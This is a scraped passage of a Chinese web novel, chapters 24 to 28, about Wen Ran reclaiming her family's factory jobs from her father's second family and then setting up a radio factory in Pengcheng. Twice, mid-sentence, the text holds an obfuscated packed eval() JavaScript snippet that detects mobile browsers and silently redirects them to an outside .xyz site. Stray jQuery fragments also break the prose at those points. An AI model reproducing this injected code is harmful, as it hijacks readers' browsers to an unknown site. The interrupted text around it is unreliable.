温苒立刻回敬:“当初我爷爷就不该救你。” 温宝昌脸都紫了,指着她说不出话来。 该说的都说了,温苒懒得再和他费口舌,她还没吃饭呢。 “没事的话你可以离开了,你砸坏的东西我也不多要,就给二百块钱吧。” 温宝昌眼前又是一黑,瞪着温苒,腮帮子咬得青筋都蹦出来了。 相信要不是旁边有霍骁北在,这老逼登早就冲上来拳打脚踢了。 就像他前阵子对闫春枝做的那样。 最终温宝昌也没办法做什么,只能在心里无能狂怒,然后气冲冲离开。 留下的这一屋狼藉,三家人齐上阵都收拾到半夜。 温宝昌离开大院,径直去了闫春枝和宋爱民租的房子。 他到的时候一家人刚吃完饭,三个姑娘擦桌的擦桌洗碗的洗碗,还有给宋爱民端洗脚水的。 温宝昌看都没看一眼,叫闫春枝出去说话。 宋爱民歪在炕上,看见来人神色淡淡的,之前一口一个爹,现在嘴就跟上了胶水似的招呼都不打。 温宝昌皱眉,果然是养不熟的白眼狼。 既然这样他也不用顾及这人的想法了,直接说道:“温苒她爷和她娘留下的工作得还回去,趁早去人事部办一下手续。” 话音落下,不大的房间里静了静,爆发出不可置信的尖叫: “什么?!” 闫春枝表情扭曲,“凭什么?” 宋爱民坐直绷紧了身体,对温宝昌的不满在此刻到达的顶峰,“我不同意!凭什么你说还就还?这工作我干了这么多年就是我的!” 温宝昌冷笑,“不还?好!那就等着温苒闹到厂领导跟前,话我带到了,怎么办随你,后果也你们自己承担。” 他冲宋爱民丢下这句话,看向闫春枝:“给我滚出来!” 闫春枝脸色白了白,又想到了之前温慧死后的事情。 她安慰宋爱民两句,急匆匆跟上去,“宝昌哥你等等我!” 身后,宋爱民神情阴狠,抬手挥掉了炕桌。 刚收拾洗净的碗筷噼里啪啦砸下去,碎了一地。 陈招娣吓了一跳,惊呼出声。 宋爱民反手就是一耳光,不解气,他蹦下来攥着拳头砰砰就是一 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等闫春枝跌跌撞撞来到跟前,顶着乱糟糟的鸡窝头扑在地上撒泼时,温苒只冷冷道:“你再胡搅蛮缠,我拒不接受私了,还会向温志伟的学校举报他的偷盗行为。他拿不到高中毕业证,就参加不了高考,有犯罪记录也没有厂子愿意要他。” “而温志伟会有这样的下场,不是我造成的,全是你这个亲妈逼得!” 道德绑架那一套当谁不会似的? 对温宝昌她在人前需要示弱博取同情,但对闫春枝这个害死她母亲的罪魁祸首,她必须要多冷漠就多无情。 闫春枝尖锐的哭嚎顿了顿,下一秒却出乎温苒的预料,她不仅没有消停反而声音还越来越大。 “你们要逼死人你们要逼死人啊!贱人!你就是见不得志伟好你想毁了他!我不会放过你的!” “你没听见小苒的话,你再闹才是对你儿子不好呢!” 围观邻居上前劝她,闫春枝软硬不吃,挥舞手臂将人打开,指着人群大骂:“呸!我呸!你们、你们都跟那贱人是一伙的!她给了你们好处!蛇鼠一窝!” 温苒皱眉。 不应该啊?就算温宝昌心疼钱,所以叫闫春枝过来闹,也不会不知道好歹吧? 钱重要还是温志伟的前途重要当父母的会不明白吗? 等等! 温苒想到什么,仰头望向身旁的霍骁北。 难道是因为宋爱民?因为她不止要钱,还要了两份工作? 早就怀疑宋爱民的身世有问题,眼下正好是个试探的机会。 温苒眼睛转了转,抬高声音:“你闹吧,正好上次你另一个儿子宋爱民诬蔑我爱人的事情还没完呢,改天我就去找厂领导做主,把这事好好在厂里宣传宣传。” 比起刚才的威胁,这个可以说不算什么了,然而闫春枝就像被掐住嗓子的鸭子,一声也发不出来。 这截然相反的反应,温苒一看就明白了。 闫春枝心里,两个儿子当中宋爱民比温志伟重要。 不。 或许应该是,闫春枝心里,宋爱民他爹比温志伟他爹重要。 25. 第 25 章 闫春枝最后灰溜溜地走了。 她怕了。 看温苒回城后发生的这些事,死丫头是真能说到做到,去厂里闹事让爱民身败名裂。 留得青山在,不怕没柴烧,走就走! 闫春枝走得爽快,但她打定主意了,就不还工作。 就算要还,也得把分房的名额占了再还,死丫头别想落好! 到时候爱民有了房子,再让温宝昌掏钱给买份工作,爱民就什么都有了。 闫春枝回到租的大院,告诉宋爱民,让他赶紧找门路让厂里把他的分房名额定下来。 宋爱民脑子一转就明白了他妈的打算,他紧皱着眉头,“工作不还又能怎么样?我也在厂里干了十多年了,没有功劳也有苦劳,就算闹到厂领导面前也不能一句话就把我工作抢了,这不是寒了工人们的心吗?” 讲真的,整个厂子有多少工人是正经考进来的?又有多少工人是正经从爹妈手上接过来的班?这些才能占多少? 就宋爱民知道的,就有不少是夺是抢是算计来的工作! 他正儿八经接班又干了这么多年,要是他的工作都能被一句话夺走,这些人能干? 宋爱民把这些想法告诉闫春枝,闫春枝也觉得有道理。 但是,闫春枝反问:“你能让那些人站在你这边为你出头?” 宋爱民一下子说不出话来,当然不能!他们自己屁股都不干净呢,肯定夹着尾巴缩得死死的,又怎么会为他出头? 闫春枝道:“咱们只要分房的名额,工作我再劝温宝昌给你买一份,也没差多少。” 宋爱民被说服了,有工作有房子,跟他一开始想的一样。 母子两个盘算得头头是道,哪承想第二天上班,温苒就给她们来了个釜底抽薪。 ——她带着派出所所长、街道办徐主任以及胡同里七八个说得话上的邻居长辈,直奔通机厂,找到了厂书记办公室。 这阵容都没让周伯伯出面,登记完了门卫大爷叫保卫科巡逻的人带他们进厂,一路畅通无阻。 事先和厂书记通过气,所以书记一听温苒的身份就明白了她的来意。 他招呼大家去会议室,让助理去请另外三个当事人。 车间里的温宝昌、宋爱民,办公室里的闫春枝一听是书记找,个个都懵了。 一头雾水的三人在半路碰上,结果互相一问都不清楚,就更纳闷了。 等到了会议室,门一开,温苒笑盈盈望过来的时候,三人脑子嗡的一声,心里翻起惊涛骇浪。 她真的来了! 温苒开门见山,“我和我爱人来办接班手续,我爷爷和我妈留下的两份工作在闫春枝和宋爱民同志手上,所以要麻烦两位配合一下。” 她不提温宝昌,但她却频频看向对方,眼神暗示咱们说好的。 温宝昌深深吸气,拳头攥紧又松开,眼前阵阵眩晕。 工作工作!就这么点事不是都说好了?至于这么大阵仗闹到书记跟前?!她是非要和自己鱼死网破吗? 温宝昌咬紧后牙,“这件事我还没来得及告诉他们,你就这么着急,为了你那点事都闹到书记跟前了?简直胡闹!不知轻重!” 闫春枝瞪着温苒,嗓音尖锐:“不让你接班我们都是为了你好!你初中都没毕业,就算接班进厂也就是做些打杂的工作,哪有我和爱民的工资高?家里这么多张嘴要吃饭,你就不能多体谅体谅我们吗?” 有这俩人冲在前头,宋爱民躲后面瞪着温苒,神色阴沉,拳头捏得嘎巴嘎巴响。 温宝昌和闫春枝一个指责温苒小题大做,一个说温苒自私不懂事,温苒不是来和她们打嘴仗的,扯皮只会浪费时间,她今天就一个目的:拿到工作! 温苒转向书记,“书记,关于我爷爷和我妈留下的两份工作,厂里应该有交接记录。另外我们片区派出所的所长、街道办徐主任和几位老邻居也都能作证,现在闫春枝和宋爱民的工作原本属于我爷爷和我妈。” 书记点头,“我知道,我已经让人去人事部主任了,她自打建厂就在咱们厂工作,这个事问她最清楚。” 见温苒根本不搭理她们,温宝昌和闫春枝差点儿气个仰倒。 工作不工作的温宝昌不在乎,他在乎的是温苒这死丫头让自己在书记跟前丢了面子! 但闫春枝在乎啊! 没了工作怎么分房啊?分房要看工龄,临时买一份是铁定分不了房的!难道要让爱民一直在外头租房住吗? 闫春枝拽着温宝昌出来,语气急促:“温宝昌你想想办法!她都闹到厂里来了,再不管管她要翻天了!” 温宝昌挥手甩开她,“我能管得了?” 闫春枝瞪大眼,音量瞬间拔高:“那怎么办?” 怎么办? 温宝昌捋着半皱的袖子,一副事不关己的态度说道:“还能怎么办?待会儿你们老老实实把工作还回去。” 一直沉默的宋爱民突然大吼,猛地挥拳砸向墙壁,“我不同意!” 温宝昌冷笑,瞥他一眼,嘴角挂着讽刺的弧度,“你不同意能有什么用?书记同意就行,再说本来这工作就不是你的啊——” 温宝昌话没说完,就被一记拳头掀翻,撞到了会议室大门上,砰地发出震响。 凸出来的门把正好杵在他后腰上,他脸色登时煞白,滑倒在地上一下都动弹不得。 闫春枝当场爆发出尖叫,手掌捂着嘴唇,浑身发抖往后退。 宋爱民还保持着动手的姿势,拳头握紧,双眼猩红,死死瞪着温宝昌,牙齿咬得咯咯响。 这么大动静一下子就吸引了众人的注意。 保卫科迅速围上来,两个擒住宋爱民,一个上前询问温宝昌的情况。 温宝昌有点儿不对劲,脸上冷汗直冒,哆嗦着嘴唇话都说不出来,似乎伤得还挺重。 保卫科拿来担架,把人送去了医务室。 会议室里,众人面面相觑。 啊这?这咋还内讧了? 书记处理完这件事回来会议室,“工作交接没有双方一定同时在场的规定,待会儿人事部主任过来,她先带你们办手续。” 至于那俩人的实在好办。 书记虽然回来厂里不久,但厂里各部门那点事他知道得大差不差,宋爱民工作上失误多次让 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加起来工程量着实不小,曲家父子仨下了班过来帮忙,都比预计的时间多了两天。 这个星期头两天,第一天去厂里报道,温苒顶了闫春枝在会计室的工作,因为厂里分房和月末工资核算的事情比较忙。 霍骁北本来被安排去车间,不过还没一个上午呢,他就自己寻摸着了门路,进了保卫科。 保卫科是通机厂的执法部门,权利还不小,工资和福利也比一般工人高,给配木·仓,一年四季还有四套制服。 霍骁北身高腿长,穿上制服后那叫一个盘靓条顺夺人眼球,把曲平安一个一米七八整块腹肌的小弱鸡都给羡慕哭了,嚷嚷着早知道他也去当兵。 自从三人都要上班,霍骁北每天早上都会准备盒饭,一人一份当晌午饭。 虽然说红梅姨一直让她们俩过去吃饭,但周新杰不是在准备高考么,她们一直过去打扰也不是个事,偶尔去一两次就成。 晌午下班,温苒收拾好桌面,锁上抽屉离开办公室。 外面楼道霍骁北拎着饭盒等她,她一出来他就上前牵住她的手。 两人一起往外走,霍骁北说道:“温宝昌回来上班了。” 温苒惊讶,“这就好了?不是说很严重吗?” 听说温宝昌在医务室躺了两天都下不了床。 温苒还意思意思,上班第一天去医务室送了一兜苹果,不过她没进去只让护士转交。她不好在外人面前给温宝昌难看,她只是个小可怜呢。 走到长椅前坐下,霍骁北打开饭盒递给她,“宋爱民没了工作,他总要吃饭,就看上了温宝昌手里那份。” 温苒:“……” 呃不是,温宝昌这样可都是因为宋爱民那一拳啊,他凭什么以为温宝昌会把工作给他?温宝昌有亲儿子温志伟啊! 这时,霍骁北意味深长来了句:“温志伟还在派出所,只要温宝昌永远下不了床,工作就算不会是他宋爱民的,也会是闫春枝的。” 26. 第 26 章 闫春枝都能帮宋爱民截胡房子,那工作是她的还是宋爱民的有区别吗? 温苒震惊到瞳孔颤了颤,她都没想到还有这种办法呢! 不过,“温志伟真的是闫春枝亲生的吗?” 还是说闫春枝嫌弃温宝昌,所以连带着不喜欢温志伟。 温苒摇摇脑袋,不想这个,这个跟她又没多大关系。 她现在纠结的是,到底是拿一千块钱买房,还是看着温宝昌被闫春枝和宋爱民算计工作? 温志伟可还在派出所关着呢,温宝昌答应她的一千块钱因为他进了医院现在还没给。 要是这时候温宝昌发生点什么,譬如着了闫春枝母子的算计下不来床,别说一千块钱他自己吃喝拉撒都不定能保证,想救温志伟也有心无力。 温苒思考着,觉着可以催催温宝昌赶紧拿钱。 相信在温志伟出来前,闫春枝和宋爱民一定会抓住机会动手的。 这样她既有钱拿,又有好戏看。 快速吃完盒饭,温苒拉着霍骁北去找温宝昌。 温宝昌在车间外的休息室里,捂着腰靠坐在椅子上,神色痛苦。 几个年轻男同志一个蹲在他跟前递水,一个扶着他给他揉腰,还有一个捧着饭盒等他张嘴。 温苒:“……” 新华国了,还搞这一套师父徒弟的老传统啊?温宝昌你当年也没有这么对过你师父我爷爷吧? 不过温宝昌这样子,情况是真不怎么样。 温苒满级医术,一看就知道这是伤到根本了,拖着不治且等着熬成大病,就是没有别人算计往后也下不了床。 温宝昌现在难受得要命,后腰跟像有针扎又拿火燎似的,看到温苒也没那个心思生气。 只要不是宋爱民那狗崽子到他面前,温宝昌现在提不起一点儿别的劲来。 就着徒弟端到跟前的搪瓷缸子,温宝昌低头抿了口水,看向温苒,“说吧,什么事?” 温苒嘴角抽了抽,委婉道:“温志伟还在派出所,你还记得吧?” 温宝昌他又来劲儿来,不来劲儿不行,那可是一千块钱! 这死丫头就是来讨债的! 他蹭一下坐起来,结果刚一动就抻着了腰上的伤。 “嗷——” 一声惨叫传得整个走廊里的人都听见了。 温宝昌跌回去,砸在旁边他徒弟身上,直愣愣地挺着没法动弹。 几个徒弟一看这情况就慌了,六神无主地望向温苒。 温苒:“……” 温苒咬着舌尖憋笑,拉着霍骁北走到一旁让路,“先送医务室吧。” 于是刚出院半天,温宝昌又被着急忙慌地送了回去。 温苒又想笑又觉得可惜,那一千块钱看来是拿不到了。 还有个完蛋事,她小可怜人设这下还不知道保不保得住。 闫春枝和宋爱民的动作比想象得迅速,这星期还没到头呢,霍骁北巡逻的时候就见闫春枝和宋爱民从医务室带走了温宝昌。 转天,霍骁北就听同事说这母子俩去了人事部办工作交接手续。 再一打听,正好是温宝昌的工作。 温宝昌六级钳工工资将近九十块,宋爱民接班后工资得从最低一级开始往上涨,一月三十块钱。 就这一家子花钱大手大脚的劲头,估摸俩星期不到就得喝西北风。 曲平安在胡同附近打听了一下,温宝昌出院后被安置在了宋爱民租的房子隔壁,听那院里的租户说是宋爱民家三个丫头在照顾温宝昌。几个孩子能照顾得多周到,连人都扶不起来,温宝昌起不来,吃喝拉撒都在炕上,现在那屋子臭烘烘的。 曲平安感叹:“这就是报应!” 温苒从一堆零件中抬起头伸了个懒腰。 可惜,这下她的一千块钱是真的没有指望了。 至于温宝昌,他这个下场虽说不在温苒意料之中,但细想下其实并不觉得意外。 温宝昌当年把这对母子带回来鸠占鹊巢,如今却被这对母子算计得渣都不剩,只能说恶有恶报。 想起还在派出所被所有人遗忘的温志伟,温苒觉得自己这个便宜姐姐可以发一下善心把他放出来。 等温志伟出来,看到房子没了,亲爹瘫痪,亲爹留下的工作被亲妈略过他,给了同母异父但一直不对付的大哥,而他却被忘在派出所无人关心,他悲愤之下又会做出什么事情来? 唉,再就是没了额外收入得想个办法赚点别的钱,温苒拿过今天的报纸翻找,在角落里发现一则出版社的翻译征文广告。 看到稿费价格,温苒觉得可以喊上霍骁北试一试。 四月底,温苒领到了这月的工资。 与此同时厂里下了通知,五月初三开始分房认购,有意向的工人带着证件去后勤部报名,并在一个星期内把钱交到会计室。 这次厂里分房采取的是出钱认购和福利分房并行的方式,前者能拿到房产证明,后者工人们只有居住权。 当然,现在工人们对居住权和所有权分得没那么清楚,不花钱就有房子住肯定比花钱实惠。 温苒和霍骁北挑了个日子去后勤部报名,又到会计室把钱交了。 没有温宝昌贡献的一千块,这次用的是卖手表收回来的钱。 先交钱先分房,半个月后温苒和霍骁北就拿到了房子和房产证明。 简单布置一番,两人去红梅姨家吃饭,还给周新杰带了一套练习册。 在家属院住了几天,周末两人回六片儿胡同,第一件事就是去派出所把温志伟放出来。 曲胜利咂摸咂摸嘴,他显然也知道温宝昌最近的下场,那现在就是个屎盆子,谁接了都染一身臭。 既然不能让小苒接,让温志伟这个亲儿子接显然不错。 曲胜利语气遗憾,“温宝昌这老小子手里头攒不少呢,以前你爷爷去外头出公差的活儿差不多都落他手里了,没趁这个机会抠他一笔可惜了了。” 曲胜利去找所长商量放人的事,温苒和霍骁北离开派出所往回走。 霍骁北道:“温宝昌的东西他还没拿,都堆在北屋。” 温苒眼睛一亮,拽着他匆匆跑回家。 北屋翻修过,把炕扒了换成了木床。 那天温宝昌走得匆忙什么都没带,结果第二天就被宋爱民一拳砸进了医院,刚出院不到一天又进去了,然后就被宋爱民和闫春枝接到了出租房,是以他还没来得及搬走他的东西。 温宝昌的东西随意塞在一个木柜子里,随意一翻,温苒就从一件衣服里抖出来两张存折。 一张两千一张三千,这也不多啊! 不过想到从温宝昌到闫春枝和温志伟再到宋爱民这个继子手上都带着红旗牌手表,之前家里还三辆自行车,温苒就没那么奇怪钱都到哪里去了。 算了,这点就这点。 没两天,温苒的集成电路收录机做出来了。 外形美观, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14434076|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功能多样,能无线收听也能放入磁带录音,还能保存三个固定频道。 以防万一,温苒又组装了第二台,证明第一台收音机不是偶然,也证明这个电路是可行的。 时间进入五月下旬,温苒三人开了个会,商量后决定是时候为去鹏城做准备了。 三人行动起来。 霍骁北和曲平安去找林朝阳,向他预定了一批零件,这次动用了温有良留下的存折。 当场就把林朝阳震懵了,不是,他没听错吧?他这朋友不是在骗他玩的吧? 霍骁北解释:“我和温苒打算去鹏城发展,办收音机厂。” 林朝阳脑子还有点转不过来,“办、办厂?钱够吗?就你们几个?” 曲平安笑嘻嘻的,随口回道:“到了鹏城肯定还要招人,就我们几个当然撑不起一个厂子,要不你也来?” 他懂林朝阳此时此刻的感受,他一开始听说要办厂也觉得不可思议甚至是天方夜谭。后来隔几天开次会,他被小苒和北哥带着弄那什么办厂计划书,就知道这俩人是有大本事的,他心里有底就一点也不慌了。 他啥也不懂,反正小苒和北哥怎么说他就怎么做呗。 曲平安随口一句,哪知道林朝阳沉默了片刻,竟然就点了头,“行啊!我没问题!” 曲平安:“?!” 不是你醒醒,你大学毕业,你还是个干部! 但林朝阳打定主意要跟她们南下去鹏城,他现在在厂里过得不上不下,转不了研发岗,管理岗又有老人在上面堵着,还不如出去试一试。 林朝阳看向霍骁北,抛出优势:“我虽然是后来的但不让你们吃亏,我可以出钱,对车间生产流程也有一定了解,京导厂这边我也有关系。” 霍骁北轻笑,“欢迎。” 于是,在南下去鹏城之前,合伙团队新增一名强有力的队友。 这边温苒和霍骁北紧接着又去家属院找红梅姨,拎上了组装的收录机,把要去鹏城的事情告诉她。 她和周伯伯震惊之余,却也没有多说什么,只让她别急着把工作辞了,往后总归是个退路。还有厂里的房子也让他们放心,掏钱买的没人能抢走。 关于办厂的事,周爱民问了几句,又说了些他的管理经验,还告诉温苒让她有什么不明白的尽管打电话,他找人去问。 离开前,红梅姨还想偷摸给她塞存折,被温苒发现,又偷摸给她放了回去。 钱她是真不缺,也有办法能赚到,不过是在长京市一时半会儿没办法施展拳脚罢了。 红梅姨家也不是多宽裕,三个儿子下乡回来,结婚、工作、房子各个都是不小的负担。 半个月后,温苒和霍骁北办理了停薪留职,出发去鹏城前三家凑在一起吃了顿饭。 饭桌上,曲胜利道:“房子我们帮你看着,谁来都抢不了,你们两口子放心就是。” 潘老太叮嘱:“到了那边记得打电话,有困难也别硬扛,说出来咱们大家一起想办法一起使力气!” 赵老太也不放心,“平安你记得听你小苒妹子的话,别成天咋咋唬唬的,你在外头得担起事来!” 曲平安他娘就一句话:“甭管赚了陪了,平安你记得挑个时间回来相亲,把事给办了。” 曲平安过了今年生日就二十三了,还没结婚实在让曲胜利两口子放心不下。 曲平安:“……” 曲平安连忙转移话题,“温志伟跑了,你们知道吗?” 27. 第 27 章 曲胜利抿着小酒哼了一声,“你要不要看看你老子做什么工作的?” 他!派出所副所长!他啥事不清楚? 曲平安讪讪摸头,把这事给忘了。 温苒好奇地张望,“什么事?” 她是真不清楚,她最近忙着搞翻译,昨天得空好不容易把稿件送到出版社。 时下到往后二十来年,人工翻译都属于高薪职业。 翻译稿酬千字以元为单位,温苒之前寄过一则短篇小说翻译,八千字出版社给出了八十块的报酬。 这次是两部长篇小说,她和霍骁北一人翻译一部,总计大概五十万字,按照千字十元的价格稿费就是五千元稿费。 曲胜利回道:“前两天的事,当时我在所里值夜班,大半夜的被喊过去处理事情,还都是熟人。” “何德民去找温宝昌,不知道发生了什么要强迫闫春枝,给温志伟撞见了,他拿火镩捅了何德民……咳、后面一下,还没完,给何德民前面也来了一样。人现在还在医院里躺着,大夫说是废了。” 温苒:“……” 闹成这样何德民肯定不会饶了温志伟,何家又不会想她一样愿意放温志伟一马,所以温志伟怕了,然后就跑了? 曲平安偷偷觑了他北哥一眼,难道北哥没告诉小苒? 温苒没多想,何德民个老色鬼会对闫春枝动手动脚也不奇怪,落到这个下场只能说跟温宝昌一样恶有恶报。 曲平安小声说:“我听说,温志伟跑之前偷走了宋爱民认购房子的钱。” 温苒下意识开口:“宋爱民还有钱?” 宋爱民工资又不高,一直靠闫春枝这个亲妈抠继父温宝昌的钱养,他哪来的钱认购房子? 闫春枝更不用提,她在会计室小偷小摸不少,还勾搭了厂里一个干部,多少钱都不够她花,她就是有存款也存不住。 这个曲平安知道,“和人借的!” 听见这话,温苒心想,这下温宝昌可惨了。 那边如何鸡飞狗跳,拿到了房子和工作即将奔赴鹏城创业的温苒并不怎么关心。 六月九号,一行人踏上了去鹏城的火车。 十一号中午,火车到达羊城,休息一晚,次日搭大巴车前往鹏城。 此时的鹏城刚刚确立经济特区,河对岸的商人们嗅到商机,大批涌向这个小渔村。 不久之后,在这片土地上宾馆、小区、工厂就会如雨后春笋一般生长出来。 到鹏城的第一周,四个人到处转了转。 小渔村正处于开发建设的最初期,和长京市不能比,和来时火车路过的沪海市也不能比,但这不妨碍人们看到它的潜力。 可潜力是潜力,现实是现实,现在的鹏城真没什么可转的,就连宾馆都只有两家。 除了灰扑扑的低矮房子,也就几处工地值得看一看。 也只仅限于看。 鹏城当地的方言和粤语有些相似,温苒能听个大概,霍骁北三个就麻爪了。 于是头一个星期温苒还给三人开了方言教学课,晚上教白天练,至少常用语都得能说会听。 转悠了几天,外加跟宾馆的工作人员打探消息,温苒才发现如今踏入鹏城的投资商几乎都是港商,而外商大多数还在观望中。 当然不是说没有,至少温苒在下榻的酒店里就碰到过一群洋人面孔,为首的中年男人被宾馆经理称作‘威廉’先生。 虽然那位威廉先生姓伍德。 威廉先生来自美国,是一名饮料。 很不巧,他团队里的香江翻译水土不服生病了,而政府这边的翻译水平又不咋地,威廉先生和鹏城政府的合作只好暂时中断。 是个机会,温苒果断让霍骁北先上,拿下这个人脉,顺道赚点外汇。 林朝阳和曲平安四眼茫然,不是,北哥啥时候会说英文了? 他们不懂,他们害怕! 因为霍骁北回过头,眼神落在了他俩身上转了一圈,就跟掂量白菜似的,最后选了林白菜,下巴朝他一抬,说:“你跟我一起。” 林朝阳眼神惊恐,林朝阳两手狂摆,“不不不!我不会英语!我连听都听不懂!” 霍骁北捞起外套让他别废话,“不会才要学,你跟我一起,平安让小苒带。” 曲平安瞳孔地震,咋还有他的事啊? 他扭头求助温苒,温苒点了点头,“办厂经商以后少不了和外国人打交道,趁现在有时间赶紧学会,你们也不想以后耽误厂里的发展吧?” 温苒和善微笑。 曲平安和林朝阳吞了吞口水,一时间坐立难安,他们俩很想说这不是你俩会么,但到底脸皮没那么厚,知道不能全指望这两口子。 最后,林朝阳蔫头耷脑地被霍骁北邻走了。 林朝阳比霍骁北还大一岁,也随着曲平安一口一个北哥,据他悄悄跟温苒说他觉着霍骁北很像他爸,而他在他爸跟前屁都不敢放一个。 房间里剩下曲平安,他小太监似的殷勤给温苒端茶送水,“小苒,我看咱这儿好像就一个美国商人,我这嘿嘿……” 曲平安搓着手,表情写着‘赚大了’,语气却很为难一副‘可不是我不想进步是我没有进步的机会啊’! 温苒抿了口水,笑眯眯道:“还有个倭国商人。” 曲平安:“……” 曲平安闭了闭眼,视死如归道:“那还是整英文吧!” 英文是要整的,倭国话也是要学的。 收录机不难生产,采买零件,人工组装,但这种毫无技术含量毫无竞争力的厂子谁来都能办,还不如不办呢。 所以温苒的计划里,电器制造只是厂子其中一个经营范围,核心业务至少是初期的核心业务应该放在零件研发和制造上面。 研发先放到一边,零件制造需要机床,机床制造领域当前又以倭系和德系两家为主。 德国远在欧洲,就算能买到不说运费高低,光是运输时间恐怕都要三五个月。 加之目前鹏城并没有德国商人的身影,购买机床还得先跑一趟欧洲才行,粗算下来其中花费的时间金钱都是不可估量的成本。 而倭国的地理位置在这儿,无论如何得先有条人脉。 考虑到宾馆里这位小野寺先生几乎是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447579|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位踏入特区的倭国商人,想来是真心实意来华投资,商人嘛,能赚钱都好商量。 天擦黑时,霍骁北带着林朝阳回来了。 曲平安正对着收录机里温苒的教学音频死磕,看到俩人当场泪奔,“我以前高考有这劲头早就是大学生了!” 经过一天英文洗礼的林朝阳两眼发直,“我要有这劲头我说不定能上长华长京!” 两个学渣对望一眼,他们真可怜! 温苒看向霍骁北,“怎么样?” 霍骁北放下手里拎的盒饭,“今天跟伍德去鹏城政府谈合作,见到了招商局的陈副局长,过两天对方要接待倭国商人的考察。” 按理说特区招商局副局长这个级别很高了,加上现在摸着石头过河上上下下一堆事,是不需要他姿态放得这么低,来一个外商就亲自接待一个外商的。 但说到底是没底气,需要人家的钱来投资建设,而自己这边还给不了什么东西,只能客气地对待。 陈副局长需要一名水平不错的倭语翻译,霍骁北向他推荐了温苒。 转天四个人一起出门,一天的合作谈完,被陈副局长留下来在食堂里请了顿饭。 “小霍你之前在西北部队,我听你们首长说你发展挺好,为什么选择转业?”陈副局长以唠嗑开始了打探。 霍骁北给媳妇儿夹了筷子菜,回道:“我爱人是长京人,下乡时只有十四岁,她被生父和继母逼迫下乡……” 听完一场凤凰男恩将仇报的大戏,陈副局长饶是自认见过大风大浪还是免不了目瞪口呆。 他张张嘴,干巴巴安慰:“小温你……小霍是个好同志……” 提起伤心事,温苒红了眼圈,但神色倔强坚强,抿抿唇角掩饰性地低下头。 林朝阳也跟着红了眼圈,他也是才知道温苒家里是这情况,你说这人咋不早跟他说,他还能帮忙呢! 曲平安木着脸狂扒饭,哼,人不会在同一个坑里跌倒很多次的,他这次就没被骗! 陈副局长又接着打听了些信息,譬如这么流利的英文是跟哪学的啊? 他跟西北军区打听到的,霍骁北是烈士子女,孤儿,打小在部队长大,高中毕业就参军,虽然人确实有能力,但从没听说过会英文。 ——虽然霍骁北已经在尽力把口音讲得蹩脚,但他上辈子说了几十年伦敦腔实在一下改不过来,尤其是跟招商局那几个磕磕绊绊的翻译相比,一下子就凸显出来他的高水平。 霍骁北就解释,是跟他媳妇儿学的。 陈副局长询问的眼神紧接着就落在温苒身上,温苒不好意思道:“小时候学校有英文课,我爷爷的朋友有几位是大学里的教授,我也跟她们学过一阵。” 陈副局长虽然不知道温有良,但知道林朝阳他爹和他大哥,打个电话一问就清楚,温苒这说法过得去。 既然如此,陈副局长就决定让这几个参与到外商接待中来。关于报酬她们可以两边拿,另外他们想要办厂,招商局这边也会适当地给予方便。 可以说有了陈副局长这条人脉,温苒等人也有了光明正大和一众商人接触的机会。 28. 第 28 章 霍骁北带林朝阳为美国饮料商伍德先生做随身翻译的一周后,正式确定了和鹏城政府的合作方案,两方正就某些条款进行敲定。 而温苒这边,她和曲平安作为鹏城招商局的翻译人员接待了那位小野寺先生。 小野寺是一名投资商人,他的其中一层身份是当前倭国知名汽车品牌的总经理,此行前来华国考察后决定建立一家汽车维修厂。 不夸张,在小野寺说出建什么厂后,温苒看到招商局一同接待的领导满头问号大写的懵逼。 什么什么厂? 汽车维修厂? 你看满大街这尘土飞扬的,自行车跑快了都能把人颠出个好歹来,还汽车?整个鹏城你能找出几个买的起汽车的? 领导强自忍下一肚子脏话,虽然认为对方在放屁,但他舍不得对方手里的钱。 一天的接待结束,送走小野寺后这位领导终于憋不住,叉起腰原地一顿乱转。 其他人面面相觑,其实他们觉得开个自行车维修厂更实际一点。 晚饭四个人在招商局食堂碰面,打好饭温苒端着饭缸子找到那位领导,开门见山:“这是个机会。” 领导瞬间坐直,“说说!” 维修啊,肯定得要配件吧,总不能还从你倭国大老远送过来吧?那这配件该多贵? 所以,为了节省成本,为什么不能在他们华国采购这些零部件呢? 你说没有? 那更好办了,建个厂呗,或者你帮咱升级一下生产线。 考虑到当前美国对华国的技术封锁,后者可能难以实现,那就不要那些技术含量高的零件,总有符合要求的不那么重要的零件。 而一旦接受这个条件,相应的倭国商人就会带来一套和国际接轨的工业生产工艺流程体系。 要知道,目前国内相当一部分工业零部件都还停留在手工制造上,不然八级工为什么这么受重视? 从手搓零件到批量生产,这对当前华国的工业发展、对未来华国建立自己的完整工业体系来说是至关重要的一步。 领导两眼放光,他悟了! 是啊!外商有钱是大爷不假,但他们才是主人,想要什么厂咱可以提,不同意咱再好商量嘛! 谈生意谈生意,漫天要价坐地还钱才对! 这位领导像打通了任督二脉一样,接下来的合作谈判中和温苒配合得十分默契,半个月后成功说服对方将几种基础零件的生产和配件组装线转移到鹏城。 当然,技术人员的指导也会随之而来。 有了这个例子在前,招商局内部一改先前唯唯诺诺的作风,开始了主动出击。 缺什么就要什么,不给?那再商量商量呗,给那个也行! 时间进入九月,通过做商务翻译温苒这边攒了有差不多三千多港币、一千多美元和五百多元。 同时发展的人脉包括招商局和特区一众领导、美国倭国香江宝岛一众商人,掌握的消息也挺不老少。 